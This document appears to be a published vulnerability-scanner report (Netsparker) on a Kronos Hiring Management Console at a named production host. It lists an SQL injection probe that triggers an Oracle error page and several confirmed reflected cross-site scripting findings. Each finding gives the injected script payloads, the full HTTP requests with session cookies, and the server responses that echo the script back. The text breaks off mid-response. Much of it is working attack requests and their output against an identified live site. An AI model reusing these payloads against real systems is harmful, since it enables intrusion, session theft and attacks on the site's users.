SQL Injection, XSS, Cross Site Scripting in hourly.deploy.com, CWE-79, CAPEC-86, DORK, GHDB

- /webservices/localeService.cfc

/webservices/localeService.cfc

https://hourly.deploy.com/webservices/localeService.cfc?method=getLocalByQuestionIDServiceData&quest..

Parameters

Parameter	Type	Value
method	GET	getLocalByQuestionIDServiceData
questionID	GET	%27

Request

GET /webservices/localeService.cfc?method=getLocalByQuestionIDServiceData&questionID=%2527 HTTP/1.1
Referer: https://hourly.deploy.com/hmc/javascript/locale.js
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630aaffa7c9434d5d31
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:50:56 GMT
Server: Apache/2.0.46 (Red Hat)
server-error: true
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:50:56 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

</TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></CODE></COMMENT></DEL></DFN></DIR></DIV></DL></EM></FIG></FN></FONT></FORM></FRAME></FRAMESET></H1></H2></H3></H4></H5></H6></HEAD></I></INS></KBD></LISTING></MAP></MARQUEE></MENU></MULTICOL></NOBR></NOFRAMES></NOSCRIPT></NOTE></OL></P></PARAM></PERSON></PLAINTEXT></PRE></Q></S></SAMP></SCRIPT></SELECT></SMALL></STRIKE></STRONG></SUB></SUP></TABLE></TD></TEXTAREA></TH></TITLE></TR></TT></U></UL></VAR></WBR></XMP>

<font face="arial"></font>

<html>
<head>
<title>Error Occurred While Processing Request</title>

<script language="JavaScript">
function showHide(targetName) {
if( document.getElementById ) { // NS6+
target = document.getElementById(targetName);
} else if( document.all ) { // IE4+
target = document.all[targetName];
}

if( target ) {
if( target.style.display == "none" ) {
target.style.display = "inline";
} else {
target.style.display = "none";
}
}
}
</script>

</head>
<body>

<font style="COLOR: black; FONT: 16pt/18pt verdana">
The web site you are accessing has experienced an unexpected error.<br>
Please contact the website administrator.

</font>
<br><br>
<table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7">
<tr>
<td bgcolor="#000066">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
The following information is meant for the website developer for debugging purposes.
</font>
</td>
<tr>
<tr>
<td bgcolor="#4646EE">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
Error Occurred While Processing Request
</font>
</td>
</tr>
<tr>
<td>
<font style="COLOR: black; FONT: 8pt/11pt verdana">

<table width="500" cellpadding="0" cellspacing="0" border="0">
<tr>
<td id="tableProps2" align="left" valign="middle" width="500">
<h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana">
Error Executing Database Query.
</h1>
</td>
</tr>
<tr>
<td id="tablePropsWidth" width="400" colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
[Macromedia][Oracle JDBC Driver][Oracle]ORA-01722: invalid number
</font>
</td>
</tr>
<tr>
<td height> </td>
</tr>

<tr><td>

<table border="0" cellpadding="0" cellspacing="0">

</table>
</td></tr>

<tr>
<td colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Resources:
<ul>

<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debugging Settings, and select the Robust Exception Information option.</li>

<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li>
<li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>

</ul>
<p>
</td>
</tr>

<tr>
<td colspan="2">
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Browser  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Remote Address  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">173.193.214.243</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Referrer  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">https://hourly.deploy.com/hmc/javascript/locale.js</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Date/Time  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">23-Jul-11 12:50 PM</td>
</tr>
</table>
</td>
</tr>
</table>

</font>
</td>
</tr>
</table>
</body></html>

- /hmc/

/hmc/ CONFIRMED

https://hourly.deploy.com/hmc/?'"--></style></script><script>alert(0x00004C)</script>

Parameters

Parameter	Type	Value
Query Based	QUERYSTRING	'"--></style></script><script>alert(0x00004C)</script>

Request

GET /hmc/?'"--></style></script><script>netsparker(0x00004C)</script> HTTP/1.1
Referer: https://hourly.deploy.com/hmc/report/index.cfm?register=1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630c0aeb4b14b2e4d75
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:48:54 GMT
Server: Apache/2.0.46 (Red Hat)
Set-Cookie: CFAUTHORIZATION_hmc5_prod_delroy=;expires=Fri, 23-Jul-2010 16:48:54 GMT;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Fri, 23-Jul-2010 16:48:54 GMT;path=/
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:48:54 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><title>Login</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="/styles/albertson2_3_production_Sep24/hmc.css" rel="stylesheet" type="text/css"><script src="../javascript/display.js" type="text/javascript"></script></head><body onLoad="document.form1.j_username.focus();" link="#666666" vlink="#666666" alink="#666666"> <form name="form1" action="/hmc/index.cfm?'"--></style></script><script>netsparker(0x00004c)</script>" method="post"><p> </p>

<TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="340">

<TR>
<TD class="FlexBox_ul"></TD>
<TD class="FlexBox_top"></TD>
<TD class="FlexBox_ur"></TD>
</TR>

<TR>
<TD class="FlexBox_left"></TD>
<TD class="FlexBoxContent">

<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td height="86" align="center"> <a href="http://www.deploy.com"><img src="/images/logo.jpg" border="0"></a> </td> </tr> <tr> <td height="46" class="formCopy" align="center"> <br/> Welcome to<strong> Kronos Hiring Management Console</strong>.<br/> <br/> Please enter your username and password. <br> <br/> New user? <a href="?'"--></style></script><script>netsparker(0x00004C)</script>&register=1">Click here</a> to register. <br/> </td> </tr> <tr> <td height="155" align="center"> <script> function checkEnter() { if (window.event.keyCode == 13) /* they hit enter */ document.form1.submit(); } </script> <table border="0" cellpadding="3" cellspacing="0" width="300" height="100"> <tbody> <tr> <td class="fieldLabel">Username:</td> <td><input name="j_username" type="text" tabindex="1" title="Username" size="25" maxlength="50" value="" onKeyPress="checkEnter();"></td> </tr> <tr> <td width="100" class="fieldLabel">Password:</td> <td><input name="j_password" type="password" tabindex="2" title="Password" size="25" maxlength="25" onKeyPress="checkEnter();"></td> </tr> <tr> <td colspan="2" height="20" align="center">

<table id="loginBtn" class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="center">

<tr>
<td class="flexbtn_l"></td>
<td class="flexbtn_m" nowrap>

<a access= "1" class="flexbtn_m" tabindex="3" href="javascript:document.form1.submit();"

title="Login >" >

  Login >  

</a>
</td>
<td class="flexbtn_r"></td>
</tr>

</table>
</td> </tr> </tbody> </form> </table> </td> </tr> </table> </td> </tr></table>

</TD>
<TD class="FlexBox_right"></TD>
</TR>

<TR>
<TD class="FlexBox_ll"></TD>
<TD class="FlexBox_bot"></TD>
<TD class="FlexBox_lr"></TD>
</TR>
</TABLE>

<p> </p></body></html>

- /hmc/report/index.cfm

/hmc/report/index.cfm CONFIRMED

https://hourly.deploy.com/hmc/report/index.cfm?'"--></style></script><script>alert(0x000091)</script>

Parameters

Parameter	Type	Value
register	GET	1
Query Based	QUERYSTRING	'"--></style></script><script>alert(0x000091)</script>

Request

GET /hmc/report/index.cfm?'"--></style></script><script>netsparker(0x000091)</script> HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630c0aeb4b14b2e4d75
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:48:56 GMT
Server: Apache/2.0.46 (Red Hat)
Set-Cookie: CFAUTHORIZATION_hmc5_prod_delroy=;expires=Fri, 23-Jul-2010 16:48:56 GMT;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Fri, 23-Jul-2010 16:48:56 GMT;path=/
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:48:56 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><title>Login</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="/styles/albertson2_3_production_Sep24/hmc.css" rel="stylesheet" type="text/css"><script src="../javascript/display.js" type="text/javascript"></script></head><body onLoad="document.form1.j_username.focus();" link="#666666" vlink="#666666" alink="#666666"> <form name="form1" action="/hmc/report/index.cfm?'"--></style></script><script>netsparker(0x000091)</script>" method="post"><p> </p>

<TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="340">

<TR>
<TD class="FlexBox_ul"></TD>
<TD class="FlexBox_top"></TD>
<TD class="FlexBox_ur"></TD>
</TR>

<TR>
<TD class="FlexBox_left"></TD>
<TD class="FlexBoxContent">

<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td height="86" align="center"> <a href="http://www.deploy.com"><img src="/images/logo.jpg" border="0"></a> </td> </tr> <tr> <td height="46" class="formCopy" align="center"> <br/> Welcome to<strong> Kronos Hiring Management Console</strong>.<br/> <br/> Please enter your username and password. <br> <br/> New user? <a href="?'"--></style></script><script>netsparker(0x000091)</script>&register=1">Click here</a> to register. <br/> </td> </tr> <tr> <td height="155" align="center"> <script> function checkEnter() { if (window.event.keyCode == 13) /* they hit enter */ document.form1.submit(); } </script> <table border="0" cellpadding="3" cellspacing="0" width="300" height="100"> <tbody> <tr> <td class="fieldLabel">Username:</td> <td><input name="j_username" type="text" tabindex="1" title="Username" size="25" maxlength="50" value="" onKeyPress="checkEnter();"></td> </tr> <tr> <td width="100" class="fieldLabel">Password:</td> <td><input name="j_password" type="password" tabindex="2" title="Password" size="25" maxlength="25" onKeyPress="checkEnter();"></td> </tr> <tr> <td colspan="2" height="20" align="center">

<table id="loginBtn" class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="center">

<tr>
<td class="flexbtn_l"></td>
<td class="flexbtn_m" nowrap>

<a access= "1" class="flexbtn_m" tabindex="3" href="javascript:document.form1.submit();"

title="Login >" >

  Login >  

</a>
</td>
<td class="flexbtn_r"></td>
</tr>

</table>
</td> </tr> </tbody> </form> </table> </td> </tr> </table> </td> </tr></table>

</TD>
<TD class="FlexBox_right"></TD>
</TR>

<TR>
<TD class="FlexBox_ll"></TD>
<TD class="FlexBox_bot"></TD>
<TD class="FlexBox_lr"></TD>
</TR>
</TABLE>

<p> </p></body></html>

- /hmc/report/

/hmc/report/ CONFIRMED

https://hourly.deploy.com/hmc/report/?'"--></style></script><script>alert(0x00004D)</script>

Parameters

Parameter	Type	Value
Query Based	QUERYSTRING	'"--></style></script><script>alert(0x00004D)</script>

Request

GET /hmc/report/?'"--></style></script><script>netsparker(0x00004D)</script> HTTP/1.1
Referer: https://hourly.deploy.com/hmc/report/index.cfm?register=1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630c0aeb4b14b2e4d75
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:48:54 GMT
Server: Apache/2.0.46 (Red Hat)
Set-Cookie: CFAUTHORIZATION_hmc5_prod_delroy=;expires=Fri, 23-Jul-2010 16:48:54 GMT;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Fri, 23-Jul-2010 16:48:54 GMT;path=/
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:48:54 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><title>Login</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="/styles/albertson2_3_production_Sep24/hmc.css" rel="stylesheet" type="text/css"><script src="../javascript/display.js" type="text/javascript"></script></head><body onLoad="document.form1.j_username.focus();" link="#666666" vlink="#666666" alink="#666666"> <form name="form1" action="/hmc/report/index.cfm?'"--></style></script><script>netsparker(0x00004d)</script>" method="post"><p> </p>

<TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="340">

<TR>
<TD class="FlexBox_ul"></TD>
<TD class="FlexBox_top"></TD>
<TD class="FlexBox_ur"></TD>
</TR>

<TR>
<TD class="FlexBox_left"></TD>
<TD class="FlexBoxContent">

<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td height="86" align="center"> <a href="http://www.deploy.com"><img src="/images/logo.jpg" border="0"></a> </td> </tr> <tr> <td height="46" class="formCopy" align="center"> <br/> Welcome to<strong> Kronos Hiring Management Console</strong>.<br/> <br/> Please enter your username and password. <br> <br/> New user? <a href="?'"--></style></script><script>netsparker(0x00004D)</script>&register=1">Click here</a> to register. <br/> </td> </tr> <tr> <td height="155" align="center"> <script> function checkEnter() { if (window.event.keyCode == 13) /* they hit enter */ document.form1.submit(); } </script> <table border="0" cellpadding="3" cellspacing="0" width="300" height="100"> <tbody> <tr> <td class="fieldLabel">Username:</td> <td><input name="j_username" type="text" tabindex="1" title="Username" size="25" maxlength="50" value="" onKeyPress="checkEnter();"></td> </tr> <tr> <td width="100" class="fieldLabel">Password:</td> <td><input name="j_password" type="password" tabindex="2" title="Password" size="25" maxlength="25" onKeyPress="checkEnter();"></td> </tr> <tr> <td colspan="2" height="20" align="center">

<table id="loginBtn" class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="center">

<tr>
<td class="flexbtn_l"></td>
<td class="flexbtn_m" nowrap>

<a access= "1" class="flexbtn_m" tabindex="3" href="javascript:document.form1.submit();"

title="Login >" >

  Login >  

</a>
</td>
<td class="flexbtn_r"></td>
</tr>

</table>
</td> </tr> </tbody> </form> </table> </td> </tr> </table> </td> </tr></table>

</TD>
<TD class="FlexBox_right"></TD>
</TR>

<TR>
<TD class="FlexBox_ll"></TD>
<TD class="FlexBox_bot"></TD>
<TD class="FlexBox_lr"></TD>
</TR>
</TABLE>

<p> </p></body></html>

- /hmc/index.cfm

/hmc/index.cfm CONFIRMED

https://hourly.deploy.com/hmc/index.cfm?'"--></style></script><script>alert(0x00010A)</script>

Parameters

Parameter	Type	Value
Query Based	QUERYSTRING	'"--></style></script><script>alert(0x00010A)</script>

Request

GET /hmc/index.cfm?'"--></style></script><script>netsparker(0x00010A)</script> HTTP/1.1
Referer: https://hourly.deploy.com/hmc/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630c0aeb4b14b2e4d75
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:49:01 GMT
Server: Apache/2.0.46 (Red Hat)
Set-Cookie: CFAUTHORIZATION_hmc5_prod_delroy=;expires=Fri, 23-Jul-2010 16:49:01 GMT;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Fri, 23-Jul-2010 16:49:01 GMT;path=/
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:49:01 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><title>Login</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="/styles/albertson2_3_production_Sep24/hmc.css" rel="stylesheet" type="text/css"><script src="../javascript/display.js" type="text/javascript"></script></head><body onLoad="document.form1.j_username.focus();" link="#666666" vlink="#666666" alink="#666666"> <form name="form1" action="/hmc/index.cfm?'"--></style></script><script>netsparker(0x00010a)</script>" method="post"><p> </p>

<TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="340">

<TR>
<TD class="FlexBox_ul"></TD>
<TD class="FlexBox_top"></TD>
<TD class="FlexBox_ur"></TD>
</TR>

<TR>
<TD class="FlexBox_left"></TD>
<TD class="FlexBoxContent">

<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td height="86" align="center"> <a href="http://www.deploy.com"><img src="/images/logo.jpg" border="0"></a> </td> </tr> <tr> <td height="46" class="formCopy" align="center"> <br/> Welcome to<strong> Kronos Hiring Management Console</strong>.<br/> <br/> Please enter your username and password. <br> <br/> New user? <a href="?'"--></style></script><script>netsparker(0x00010A)</script>&register=1">Click here</a> to register. <br/> </td> </tr> <tr> <td height="155" align="center"> <script> function checkEnter() { if (window.event.keyCode == 13) /* they hit enter */ document.form1.submit(); } </script> <table border="0" cellpadding="3" cellspacing="0" width="300" height="100"> <tbody> <tr> <td class="fieldLabel">Username:</td> <td><input name="j_username" type="text" tabindex="1" title="Username" size="25" maxlength="50" value="" onKeyPress="checkEnter();"></td> </tr> <tr> <td width="100" class="fieldLabel">Password:</td> <td><input name="j_password" type="password" tabindex="2" title="Password" size="25" maxlength="25" onKeyPress="checkEnter();"></td> </tr> <tr> <td colspan="2" height="20" align="center">

<table id="loginBtn" class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="center">

<tr>
<td class="flexbtn_l"></td>
<td class="flexbtn_m" nowrap>

<a access= "1" class="flexbtn_m" tabindex="3" href="javascript:document.form1.submit();"

title="Login >" >

  Login >  

</a>
</td>
<td class="flexbtn_r"></td>
</tr>

</table>
</td> </tr> </tbody> </form> </table> </td> </tr> </table> </td> </tr></table>

</TD>
<TD class="FlexBox_right"></TD>
</TR>

<TR>
<TD class="FlexBox_ll"></TD>
<TD class="FlexBox_bot"></TD>
<TD class="FlexBox_lr"></TD>
</TR>
</TABLE>

<p> </p></body></html>

- /hmc/index.cfm

/hmc/index.cfm CONFIRMED

https://hourly.deploy.com/hmc/index.cfm?

Parameters

Parameter	Type	Value
j_password	POST	3
j_username	POST	"><script>alert(9)</script>

Request

POST /hmc/index.cfm? HTTP/1.1
Referer: https://hourly.deploy.com/hmc/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: hourly.deploy.com
Cookie: JSESSIONID=2630c0ae5647d144e225
Content-Length: 70
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

j_password=3&j_username=%22%3e%3cscript%3enetsparker(9)%3c%2fscript%3e

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:49:13 GMT
Server: Apache/2.0.46 (Red Hat)
Set-Cookie: CFAUTHORIZATION_hmc5_prod_delroy=;expires=Fri, 23-Jul-2010 16:49:13 GMT;path=/
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:49:13 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><title>Login</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="/styles/albertson2_3_production_Sep24/hmc.css" rel="stylesheet" type="text/css"><script src="../javascript/display.js" type="text/javascript"></script></head><body onLoad="document.form1.j_password.focus();" link="#666666" vlink="#666666" alink="#666666"> <form name="form1" action="/hmc/index.cfm?" method="post"><p> </p>

<TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="340">

<TR>
<TD class="FlexBox_ul"></TD>
<TD class="FlexBox_top"></TD>
<TD class="FlexBox_ur"></TD>
</TR>

<TR>
<TD class="FlexBox_left"></TD>
<TD class="FlexBoxContent">

<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td height="86" align="center"> <a href="http://www.deploy.com"><img src="/images/logo.jpg" border="0"></a> </td> </tr> <tr> <td height="46" class="formCopy" align="center"> <br/> Welcome to<strong> Kronos Hiring Management Console</strong>.<br/> <br/> Please enter your username and password. <br> <br/> New user? <a href="?register=1">Click here</a> to register. <br/> </td> </tr> <tr> <td height="155" align="center"> <script> function checkEnter() { if (window.event.keyCode == 13) /* they hit enter */ document.form1.submit(); } </script> <table border="0" cellpadding="3" cellspacing="0" width="300" height="100"> <tbody> <tr> <td class="fieldLabel">Username:</td> <td><input name="j_username" type="text" tabindex="1" title="Username" size="25" maxlength="50" value=""><script>netsparker(9)</script>" onKeyPress="checkEnter();"></td> </tr> <tr> <td width="100" class="fieldLabel">Password:</td> <td><input name="j_password" type="password" tabindex="2" title="Password" size="25" maxlength="25" onKeyPress="checkEnter();"></td> </tr> <tr> <td colspan="2" height="20" align="center"> <span class="error"> Invalid username or password. </span><br/> <br/>

<table id="loginBtn" class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="center">

<tr>
<td class="flexbtn_l"></td>
<td class="flexbtn_m" nowrap>

<a access= "1" class="flexbtn_m" tabindex="3" href="javascript:document.form1.submit();"

title="Login >" >

  Login >  

</a>
</td>
<td class="flexbtn_r"></td>
</tr>

</table>
</td> </tr> </tbody> </form> </table> </td> </tr> </table> </td> </tr></table>

</TD>
<TD class="FlexBox_right"></TD>
</TR>

<TR>
<TD class="FlexBox_ll"></TD>
<TD class="FlexBox_bot"></TD>
<TD class="FlexBox_lr"></TD>
</TR>
</TABLE>

<p> </p></body></html>

- /hmc/report/index.cfm

/hmc/report/index.cfm CONFIRMED

https://hourly.deploy.com/hmc/report/index.cfm?

Parameters

Parameter	Type	Value
j_password	POST	3
j_username	POST	"><script>alert(9)</script>

Request

POST /hmc/report/index.cfm? HTTP/1.1
Referer: https://hourly.deploy.com/hmc/report/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: hourly.deploy.com
Cookie: JSESSIONID=2630c0ae5647d144e225
Content-Length: 70
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

j_password=3&j_username=%22%3e%3cscript%3enetsparker(9)%3c%2fscript%3e

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:49:21 GMT
Server: Apache/2.0.46 (Red Hat)
Set-Cookie: CFAUTHORIZATION_hmc5_prod_delroy=;expires=Fri, 23-Jul-2010 16:49:21 GMT;path=/
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:49:21 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><title>Login</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="/styles/albertson2_3_production_Sep24/hmc.css" rel="stylesheet" type="text/css"><script src="../javascript/display.js" type="text/javascript"></script></head><body onLoad="document.form1.j_password.focus();" link="#666666" vlink="#666666" alink="#666666"> <form name="form1" action="/hmc/report/index.cfm?" method="post"><p> </p>

<TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="340">

<TR>
<TD class="FlexBox_ul"></TD>
<TD class="FlexBox_top"></TD>
<TD class="FlexBox_ur"></TD>
</TR>

<TR>
<TD class="FlexBox_left"></TD>
<TD class="FlexBoxContent">

<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td height="86" align="center"> <a href="http://www.deploy.com"><img src="/images/logo.jpg" border="0"></a> </td> </tr> <tr> <td height="46" class="formCopy" align="center"> <br/> Welcome to<strong> Kronos Hiring Management Console</strong>.<br/> <br/> Please enter your username and password. <br> <br/> New user? <a href="?register=1">Click here</a> to register. <br/> </td> </tr> <tr> <td height="155" align="center"> <script> function checkEnter() { if (window.event.keyCode == 13) /* they hit enter */ document.form1.submit(); } </script> <table border="0" cellpadding="3" cellspacing="0" width="300" height="100"> <tbody> <tr> <td class="fieldLabel">Username:</td> <td><input name="j_username" type="text" tabindex="1" title="Username" size="25" maxlength="50" value=""><script>netsparker(9)</script>" onKeyPress="checkEnter();"></td> </tr> <tr> <td width="100" class="fieldLabel">Password:</td> <td><input name="j_password" type="password" tabindex="2" title="Password" size="25" maxlength="25" onKeyPress="checkEnter();"></td> </tr> <tr> <td colspan="2" height="20" align="center"> <span class="error"> Invalid username or password. </span><br/> <br/>

<table id="loginBtn" class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="center">

<tr>
<td class="flexbtn_l"></td>
<td class="flexbtn_m" nowrap>

<a access= "1" class="flexbtn_m" tabindex="3" href="javascript:document.form1.submit();"

title="Login >" >

  Login >  

</a>
</td>
<td class="flexbtn_r"></td>
</tr>

</table>
</td> </tr> </tbody> </form> </table> </td> </tr> </table> </td> </tr></table>

</TD>
<TD class="FlexBox_right"></TD>
</TR>

<TR>
<TD class="FlexBox_ll"></TD>
<TD class="FlexBox_bot"></TD>
<TD class="FlexBox_lr"></TD>
</TR>
</TABLE>

<p> </p></body></html>

- /hmc/setup/responsefollowupnew.cfm

/hmc/setup/responsefollowupnew.cfm CONFIRMED

https://hourly.deploy.com/hmc/setup/responsefollowupnew.cfm?'"--></style></script><script>alert(0x00..

Parameters

Parameter	Type	Value
response_id	GET
Query Based	QUERYSTRING	'"--></style></script><script>alert(0x000AE7)</script>

Request

GET /hmc/setup/responsefollowupnew.cfm?'"--></style></script><script>netsparker(0x000AE7)</script> HTTP/1.1
Referer: https://hourly.deploy.com/hmc/javascript/response.js
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630aaffa7c9434d5d31
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:50:37 GMT
Server: Apache/2.0.46 (Red Hat)
Set-Cookie: CFAUTHORIZATION_hmc5_prod_delroy=;expires=Fri, 23-Jul-2010 16:50:38 GMT;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Fri, 23-Jul-2010 16:50:38 GMT;path=/
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:50:37 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><title>Login</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="/styles/albertson2_3_production_Sep24/hmc.css" rel="stylesheet" type="text/css"><script src="../javascript/display.js" type="text/javascript"></script></head><body onLoad="document.form1.j_username.focus();" link="#666666" vlink="#666666" alink="#666666"> <form name="form1" action="/hmc/setup/responsefollowupnew.cfm?'"--></style></script><script>netsparker(0x000ae7)</script>" method="post"><p> </p>

<TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="340">

<TR>
<TD class="FlexBox_ul"></TD>
<TD class="FlexBox_top"></TD>
<TD class="FlexBox_ur"></TD>
</TR>

<TR>
<TD class="FlexBox_left"></TD>
<TD class="FlexBoxContent">

<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td height="86" align="center"> <a href="http://www.deploy.com"><img src="/images/logo.jpg" border="0"></a> </td> </tr> <tr> <td height="46" class="formCopy" align="center"> <br/> Welcome to<strong> Kronos Hiring Management Console</strong>.<br/> <br/> Please enter your username and password. <br> <br/> New user? <a href="?'"--></style></script><script>netsparker(0x000AE7)</script>&register=1">Click here</a> to register. <br/> </td> </tr> <tr> <td height="155" align="center"> <script> function checkEnter() { if (window.event.keyCode == 13) /* they hit enter */ document.form1.submit(); } </script> <table border="0" cellpadding="3" cellspacing="0" width="300" height="100"> <tbody> <tr> <td class="fieldLabel">Username:</td> <td><input name="j_username" type="text" tabindex="1" title="Username" size="25" maxlength="50" value="" 